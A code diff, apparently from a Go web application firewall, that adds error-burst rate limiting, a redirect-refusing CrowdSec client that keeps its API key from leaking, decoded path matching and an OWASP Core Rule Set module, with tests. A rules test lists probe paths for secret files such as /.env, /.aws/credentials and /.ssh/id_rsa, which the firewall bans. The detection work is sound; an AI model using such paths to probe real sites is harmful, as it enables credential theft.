c.MinuteRefusals = Buckets{}
}
}
@@ -274,6 +306,14 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
if r.RuleBlocked {
h.Offences.RuleBlocked++
}
if r.WAFBlocked {
h.Offences.WAFBlocked++
}
if r.TokenRefused {
h.Offences.TokenRefused++
}
}
// AddLookup gives client's history its AS number, AS name and country, as
@@ -383,6 +423,10 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
}
}
if c.MinuteRefusals.Passed(now, time.Minute) {
c.MinuteRefusals = Buckets{}
}
l.clients.Add(c.Client, &c)
}
}
internal/ratelimit/ratelimit_test.go
+40
View File
@@ -248,6 +248,46 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "")
}
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
}
}
hit, over := limiter.CountRefusal(client, start, limit)
want := ratelimit.Hit{
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
}
if !over || hit != want {
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
want)
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over)
}
// A ban sets them back to zero.
limiter.Reset(client)
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
}
}
func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
t.Parallel()
internal/ratelimit/snapshot_test.go
+13 -6
View File
@@ -65,6 +65,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter.Count(client, start, whole)
limiter.CountBytes(client, start, 5, whole)
limiter.CountRefusal(client, start, limit)
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
loaded := func(now time.Time) ratelimit.Client {
@@ -76,9 +77,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
return after.Snapshot()[0]
}
// Two minutes on, the window that ends then covers neither of the
// minute's buckets, of requests and of bytes, which are emptied; the
// hour's and the day's stay, and so does the history.
// Two minutes on, the window that ends then covers none of the
// minute's buckets, of requests, of bytes and of refusals, which are
// emptied; the hour's and the day's stay, and so does the history.
got := loaded(start.Add(2 * time.Minute))
if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
got.Day.Current != 1 || got.History.Requests != 1 {
@@ -91,11 +92,17 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got.MinuteBytes, got.HourBytes, got.DayBytes)
}
if got.MinuteRefusals != (ratelimit.Buckets{}) {
t.Errorf("loaded two minutes on with buckets of refusals %+v",
got.MinuteRefusals)
}
// A moment before, the window still covers some of the earlier one.
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 {
t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v",
got.Minute, got.MinuteBytes)
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
got.MinuteRefusals.Current != 1 {
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
}
}
internal/reputation/crowdsec_test.go
+97 -12
View File
@@ -31,8 +31,10 @@ const (
// sshBF and probing are scenarios of the engine's decisions.
sshBF = "crowdsecurity/ssh-bf"
probing = "crowdsecurity/http-probing"
// ban is the type of a decision to ban, as CrowdSec names it.
ban = "ban"
// ban is the type of a decision to ban, and rangeScope the scope of a
// decision on a netblock, as CrowdSec names them.
ban = "ban"
rangeScope = "Range"
)
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
@@ -46,7 +48,7 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
// A shorter decision on the same address, which is not the one
// used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{"Range", "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -111,6 +113,64 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
})
}
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
// Two decisions on one address, the shorter listed first.
{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
// 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends
// before.
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
wantDecision(t, lists, "198.51.100.130",
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
wantDecision(t, lists, "192.0.2.20",
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
})
}
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
// With its decision deleted, the engine answers null.
e.set(func(e *engine) { e.decisions = nil })
time.Sleep(time.Minute)
wantEngineFetches(t, e, 2)
want := []reputation.List{{
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
}}
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("lists %+v, want %+v", got, want)
}
if lists.Failures(decisionsURL) != 0 {
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
}
wantDecision(t, lists, suspect, reputation.Decision{})
})
}
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t *testing.T,
) {
@@ -167,7 +227,7 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t.Errorf("logged\n%s\nwant the failures", log.String())
}
wantKeyNotShown(t, log.String(), lists, queue)
wantKeyNotShown(t, e, log.String(), lists, queue)
})
})
}
@@ -197,6 +257,11 @@ func crowdSecFailures() []crowdSecFailure {
func(e *engine) { e.key = "another-key-0123456789abcdef" },
"the server answered 403 Forbidden",
},
{
"a redirect",
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
"the server answered 302 Found",
},
{
"an answer that does not read",
func(e *engine) { e.answer = "<html>" },
@@ -222,14 +287,24 @@ func crowdSecFailures() []crowdSecFailure {
}
}
// wantKeyNotShown checks that the engine's key is in none of what the
// fetches leave behind: log, the process log, the alerts waiting in queue,
// and the copies of lists, which reputation.json keeps.
// wantKeyNotShown checks that no fetch carried the engine's key to a URL
// other than its decision list, such as the one a redirect names, and that
// the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which
// reputation.json keeps.
func wantKeyNotShown(
t *testing.T, log string, lists *reputation.Lists, queue *alerts.Queue,
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
) {
t.Helper()
e.mu.Lock()
keySentTo := e.keySentTo
e.mu.Unlock()
if len(keySentTo) != 0 {
t.Errorf("the key was sent to %v", keySentTo)
}
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
if err != nil {
t.Fatalf("encode: %v", err)
@@ -246,7 +321,7 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Range", "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
kept := lists.Snapshot()
@@ -313,14 +388,18 @@ func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
// decisions still in force, each with the time it has left as it answers,
// by the bubble's clock, as an engine does, or with answer while that is
// not "". It answers 403 to a fetch without its key, as an engine does,
// and 503 while failing. It counts the fetches.
// with a redirect to redirect while that is not "", and 503 while failing.
// It counts the fetches, and notes in keySentTo the URL of each fetch of
// another URL that carries a key, as one following a redirect would.
type engine struct {
mu sync.Mutex
key string
decisions []decision
answer string
redirect string
failing bool
fetches int
keySentTo []string
}
// decision is a decision of the engine, which ends at expires.
@@ -336,11 +415,17 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.fetches++
status, body := http.StatusOK, e.answer
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String())
}
status, header, body := http.StatusOK, http.Header{}, e.answer
switch {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "":
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
case e.failing:
status, body = http.StatusServiceUnavailable, ""
case body == "":
@@ -350,7 +435,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
return &http.Response{
StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Header: http.Header{},
Header: header,
Body: io.NopCloser(strings.NewReader(body)),
Request: req,
}, nil
internal/reputation/export_test.go
+1
View File
@@ -11,6 +11,7 @@ import (
// network.
func (l *Lists) SetTransport(transport http.RoundTripper) {
l.httpClient.Transport = transport
l.crowdSecClient.Transport = transport
}
// SetTransport has a's checks go through transport instead of the
internal/reputation/reputation.go
+21 -4
View File
@@ -93,6 +93,10 @@ type Params struct {
type Lists struct {
params Params
httpClient *http.Client
// crowdSecClient fetches the CrowdSec decision list. It follows no
// redirect, so that the key goes to the engine alone: a redirect is a
// failure.
crowdSecClient *http.Client
mu sync.Mutex
// lists are by URL, one for each URL Params names.
@@ -129,7 +133,16 @@ type Decision struct {
// New returns the lists, without a copy of any yet.
func New(params Params) *Lists {
l := &Lists{params: params, httpClient: &http.Client{}, lists: map[string]*list{}}
l := &Lists{
params: params,
httpClient: &http.Client{},
crowdSecClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
},
lists: map[string]*list{},
}
for _, listURL := range l.URLs() {
l.lists[listURL] = &list{kept: List{URL: listURL}}
@@ -416,8 +429,9 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
// get fetches the list at listURL, and returns its lines. The CrowdSec
// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
// the engine looks for it. An answer other than 200, or a list longer
// than maxListBytes, is a failure.
// the engine looks for it, by crowdSecClient, which follows no redirect.
// An answer other than 200, or a list longer than maxListBytes, is a
// failure.
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel()
@@ -427,11 +441,14 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return nil, fmt.Errorf("make the request: %w", err)
}
client := l.httpClient
if listURL == l.params.CrowdSecDecisionsURL {
req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
client = l.crowdSecClient
}
res, err := l.httpClient.Do(req)
res, err := client.Do(req)
if err != nil {
// Do's error names the URL, which the log line and the alert name
// already: only what went wrong is kept.
internal/requestlog/requestlog.go
+25 -8
View File
@@ -29,12 +29,16 @@ const (
// over a rate limit, which bans the client.
ActionRateLimited = "rate_limited"
// ActionBanned is a request refused because a ban covers its client,
// or because it matched a ban rule or the CrowdSec decision list lists
// its client, either of which bans the client.
// or because it matched a ban rule, asked for a trap path or the
// CrowdSec decision list lists its client, each of which bans the
// client.
ActionBanned = "banned"
// ActionRuleBlocked is a request refused because it matched a block
// rule.
ActionRuleBlocked = "rule_blocked"
// ActionWAFBlocked is a request refused because the Core Rule Set
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
ActionWAFBlocked = "waf_blocked"
// ActionDenied is a request refused because its client is in
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
@@ -48,9 +52,14 @@ const (
)
// OffenceLimit is the offence a request line names for a request that
// broke a rate limit, or whose bytes broke a byte limit.
// broke a rate limit or the error burst, or whose bytes broke a byte
// limit.
const OffenceLimit = "limit"
// LimitHitErrorBurst is the limit_hit a request line names for a request
// that broke the error burst.
const LimitHitErrorBurst = "error_burst"
// timeLayout is RFC 3339 with milliseconds.
const timeLayout = "2006-01-02T15:04:05.000Z07:00"
@@ -117,8 +126,8 @@ type Line struct {
Action string `json:"action"`
// WouldAction is, in observe mode, the action enforce mode would have
// taken with a request it would have refused: ActionDenied,
// ActionBanned, ActionCountryDenied, ActionRateLimited or
// ActionRuleBlocked.
// ActionBanned, ActionCountryDenied, ActionRateLimited,
// ActionRuleBlocked or ActionWAFBlocked.
WouldAction string `json:"would_action,omitempty"`
// LimitPercent and LimitPercentSetting are, for a request the rate
// limits counted whose client a biased threshold gives a percentage of
@@ -136,9 +145,15 @@ type Line struct {
Counts ratelimit.Counts `json:"counts,omitzero"`
// RuleIDs are the ids of the rule file rules the request matched.
RuleIDs []string `json:"rule_ids,omitempty"`
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and WAFScore its anomaly score, nil for a request the Core
// Rule Set did not inspect.
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
WAFScore *int `json:"waf_score,omitempty"`
// LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit.
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitErrorBurst for the error burst.
LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then
// that of the CrowdSec decision list when it does, then the DNSBL zones
@@ -152,13 +167,15 @@ type Line struct {
BanExpires string `json:"ban_expires,omitempty"`
// The timings, in milliseconds. DurationChecks is the time until the
// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
// and DurationUpstreamTotal run from when the request was handed to the
// checks were done, and DurationWAF the part of it the Core Rule Set
// took. DurationUpstreamConnect, DurationUpstreamFirstByte and
// DurationUpstreamTotal run from when the request was handed to the
// app: until there was a connection to it, until the first byte of its
// answer arrived, and until the end. Each but DurationTotal is nil for
// a request that did not get that far.
DurationTotal float64 `json:"duration_total"`
DurationChecks *float64 `json:"duration_checks,omitempty"`
DurationWAF *float64 `json:"duration_waf,omitempty"`
DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"`
DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
internal/rules/rules.go
+34 -17
View File
@@ -50,6 +50,13 @@ const quietTime = 2 * time.Second
// header:<Name>.
const headerTarget = "header:"
// pathTarget and uriTarget are the targets matched both as received and
// once percent-decoded: the path, and the path and query together.
const (
pathTarget = "path"
uriTarget = "uri"
)
// escapeLength is the length of a percent escape, such as %2e.
const escapeLength = 3
@@ -374,7 +381,7 @@ func parse(line string) (Rule, bool, error) {
// isTarget reports whether target is one a rule may have.
func isTarget(target string) bool {
switch target {
case "path", "query", "uri", "method", "host", "user_agent", "referer":
case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
return true
}
@@ -384,28 +391,38 @@ func isTarget(target string) bool {
}
// matches reports whether the rule's regex matches its target in r. For
// uri it is matched against the path and query as received, and against
// them once percent-decoded, so that an encoded probe cannot slip past.
// path and uri it is matched against the target as received, and against
// it once percent-decoded, so that an encoded probe cannot slip past.
func (rule Rule) matches(r *http.Request) bool {
if rule.Target == "uri" {
uri := pathAndQuery(r)
target := value(rule.Target, r)
return rule.regex.MatchString(uri) || rule.regex.MatchString(decodeOnce(uri))
if rule.Target == pathTarget || rule.Target == uriTarget {
return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
}
return rule.regex.MatchString(value(rule.Target, r))
return rule.regex.MatchString(target)
}
// value returns what a rule with target, other than uri, is matched
// against in r: the path and the query as the client sent them, before
// any decoding or re-encoding, split at the first ?, and a header's values
// joined by ", ", as HTTP joins those of a header sent more than once.
// Path returns r's path as the client sent it, before any decoding or
// re-encoding, up to the first ?: what a path rule is matched against, as
// it is and once percent-decoded.
func Path(r *http.Request) string {
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
}
// value returns what a rule with target is matched against in r: the
// path, as Path gives it, the path and query, as pathAndQuery gives
// them, and the query as the client sent it, before any decoding or
// re-encoding, after the first ?, and a header's values joined by ", ",
// as HTTP joins those of a header sent more than once.
func value(target string, r *http.Request) string {
switch target {
case "path":
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
case pathTarget:
return Path(r)
case uriTarget:
return pathAndQuery(r)
case "query":
_, query, _ := strings.Cut(pathAndQuery(r), "?")
@@ -457,11 +474,11 @@ func header(r *http.Request, name string) string {
return strings.Join(r.Header.Values(name), ", ")
}
// decodeOnce returns s with each percent escape, such as %2e, replaced by
// DecodeOnce returns s with each percent escape, such as %2e, replaced by
// the byte it stands for. A % that is not followed by two hex digits is
// left as it is, so that a malformed escape cannot keep the rest of s
// from being decoded.
func decodeOnce(s string) string {
func DecodeOnce(s string) string {
var decoded strings.Builder
for i := 0; i < len(s); i++ {
internal/rules/rules_test.go
+4 -2
View File
@@ -49,7 +49,9 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
want bool
}{
{"path as received", `path log ^/%2eenv$`, "/%2eenv", nil, true},
{"path not decoded", `path log ^/\.env$`, "/%2eenv", nil, false},
{"path decoded", `path log ^/\.env$`, "/%2Eenv", nil, true},
{"path decoded only once", `path log ^/\.env$`, "/%252eenv", nil, false},
{"path decoded without the query", `path log ^/a\?b$`, "/a%3fb?c", nil, true},
{"path without the query", `path log ^/a$`, "/a?b=c", nil, true},
{"query as received", `query log ^b=%2e$`, "/a?b=%2e", nil, true},
{"uri as received", `uri log ^/a\?b=%2e$`, "/a?b=%2e", nil, true},
@@ -418,7 +420,7 @@ func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) {
// Probes sent by a browser, by the rule that refuses them.
for rule, targets := range map[string][]string{
"env-file": {"/.env", "/.env.production", "/.ENV"},
"env-file": {"/.env", "/.env.production", "/.ENV", "/%2eenv"},
"vcs-dir": {"/.git/config", "/.git", "/.svn/entries"},
"secrets-dir": {"/.aws/credentials", "/.ssh/id_rsa"},
"secret-file": {"/.htpasswd", "/.DS_Store", "/.git-credentials"},
internal/state/state.go
+13 -6
View File
@@ -61,6 +61,7 @@ var (
// errMissing is for an entry without a field it needs.
errMissing = errors.New("has no")
errCause = errors.New("is not limit, attack, admin or crowdsec")
errExpires = errors.New("is not after its start")
errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New("is not client, net, asn, total or watch")
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
@@ -646,8 +647,10 @@ func (e BanEntry) ban() bans.Ban {
// client, a start, from which the length of the netblock's next ban is
// worked out, or an expires, which would make it permanent. A permanent
// ban's expires is null, which Bans cannot tell from a missing one, so
// each expires is read again as written. A cause other than limit,
// attack, admin or crowdsec, most likely misspelt, is refused too.
// each expires is read again as written. An expires not after the start
// is refused too, since the netblock's next ban for a broken limit, three
// times as long as this one, would then refuse nothing; and so is a cause
// other than limit, attack, admin or crowdsec, most likely misspelt.
func (f *bansFile) check(data []byte) error {
var written struct {
Bans []struct {
@@ -668,6 +671,8 @@ func (f *bansFile) check(data []byte) error {
return missing(i, "start")
case written.Bans[i].Expires == nil:
return missing(i, "expires")
case entry.Expires != nil && !entry.Expires.After(entry.Start):
return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec:
@@ -679,8 +684,8 @@ func (f *bansFile) check(data []byte) error {
}
// check refuses a client without its address, which would count nobody's
// requests, or with requests or bytes in a window but no start, which
// would drop them and give the client a fresh allowance.
// requests, or with requests, bytes or refusals in a window but no start,
// which would drop them and give the client a fresh allowance.
func (f *clientsFile) check([]byte) error {
for i, client := range f.Clients {
switch {
@@ -698,6 +703,8 @@ func (f *clientsFile) check([]byte) error {
return missing(i, "hour_bytes.start")
case countsWithoutStart(client.DayBytes):
return missing(i, "day_bytes.start")
case countsWithoutStart(client.MinuteRefusals):
return missing(i, "minute_refusals.start")
}
}
@@ -898,8 +905,8 @@ func missingFromCounter(counter anomaly.Counter) string {
}
}
// countsWithoutStart reports whether b holds requests, or bytes, but no
// start, which places them in time.
// countsWithoutStart reports whether b holds requests, bytes or refusals
// but no start, which places them in time.
func countsWithoutStart(b ratelimit.Buckets) bool {
return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0)
}
internal/state/state_test.go
+24
View File
@@ -639,6 +639,15 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
}
}
func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing.T) {
t.Parallel()
wantRefused(t, clientsJSON,
`{"version": 1, "clients": [{"client": "203.0.113.9/32", `+
`"minute_refusals": {"current": 2}}]}`,
`: entry 1 has no "minute_refusals.start"`)
}
func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
t.Parallel()
@@ -856,6 +865,21 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
`: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
}
func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
t.Parallel()
// The first ban ends a second after its start; the second ends as it
// starts, or an hour before.
for _, expires := range []string{`"2026-10-06T00:00:00Z"`, `"2026-10-05T23:00:00Z"`} {
wantRefused(t, bansJSON, `{"version": 1, "bans": [`+
`{"netblock": "203.0.113.9/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": "2026-10-06T00:00:01Z"}, `+
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": `+expires+`}]}`,
`: entry 2's expires is not after its start`)
}
}
func TestUnknownVersionStopsTheStart(t *testing.T) {
t.Parallel()
internal/waf/waf.go
+336
View File
@@ -0,0 +1,336 @@
// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWWAF_WAF_BODY_LIMIT is set, with the six changes smallwebwaf
// makes to it, as "Attack detection" under "Configuration surface" in
// SPEC.md describes them. It reads no response.
//
// smallwebwaf writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory.
package waf
import (
"fmt"
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
"github.com/corazawaf/coraza/v3"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/types"
)
// directives are the Core Rule Set as smallwebwaf runs it, with the
// paranoia level for %d, and bodyDirectives for %s while
// SWWAF_WAF_BODY_LIMIT is set. Each rule smallwebwaf adds has an id from
// 900000 to 900999, the ids the Core Rule Set keeps for the rules that set
// it up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting
// switches one off. Coraza joins a line ending in \ to the next, without
// the spaces at the start of the next.
const directives = `
# The engine only detects. smallwebwaf compares the request's anomaly
# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
SecResponseBodyAccess Off
Include @crs-setup.conf.example
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.blocking_paranoia_level=%d"
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
# POST and OPTIONS.
SecAction "id:900200,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
# list of the headers it refuses. Content-Encoding goes back on it for a
# body the Core Rule Set reads (900260 in bodyDirectives).
SecAction "id:900250,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
/x-middleware-subrequest/'"
%s
# Coraza keeps the first 1000 query parameters of a request, and the first
# 1000 fields of a form data or JSON body, and drops the rest, which no
# rule then reads, so a request with more adds 5 to the score, as a rule
# the Core Rule Set rates critical does. Coraza's recommended
# configuration refuses such a request in its rules 200004 and 200005.
# This rule runs once the body is read, and before the Core Rule Set adds
# up the score in the same phase.
SecArgumentsLimit 1000
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, or for Java starting a process. The cookies are left out in
# Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
`
// bodyDirectives have the Core Rule Set read the part of a request body
// Inspect gives it, which is at most one byte longer than the limit, up to
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
// configuration has it in its rules 200000, 200001 and 200006, with
// text/json, and any application or text type ending in +xml or +json,
// besides; form data and multipart Coraza knows by itself. %% stands for
// a % Coraza reads.
const bodyDirectives = `
SecRequestBodyAccess On
SecRequestBodyLimit %d
SecRequestBodyLimitAction ProcessPartial
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
# The rest of the second change: Content-Encoding is refused again on a
# body of a kind the Core Rule Set reads, since a compressed body cannot be
# inspected.
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
"id:900260,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
/content-encoding/'"
# A body Coraza fails to parse (900440), and a multipart body that fails
# its strict checks (900450), each add 5 to the score, as a rule the Core
# Rule Set rates critical does: no rule reads what comes after the fault,
# which the app may still read. Coraza's recommended configuration refuses
# them in its rules 200002 and 200003. A multipart body the limit cuts
# before the colon of a part's header line, or between the carriage return
# and the line feed that end a part's header line or the empty line after
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
# malformed header. Coraza parses any form data body.
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
setvar:'tx.inbound_anomaly_score_pl1=+5'"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
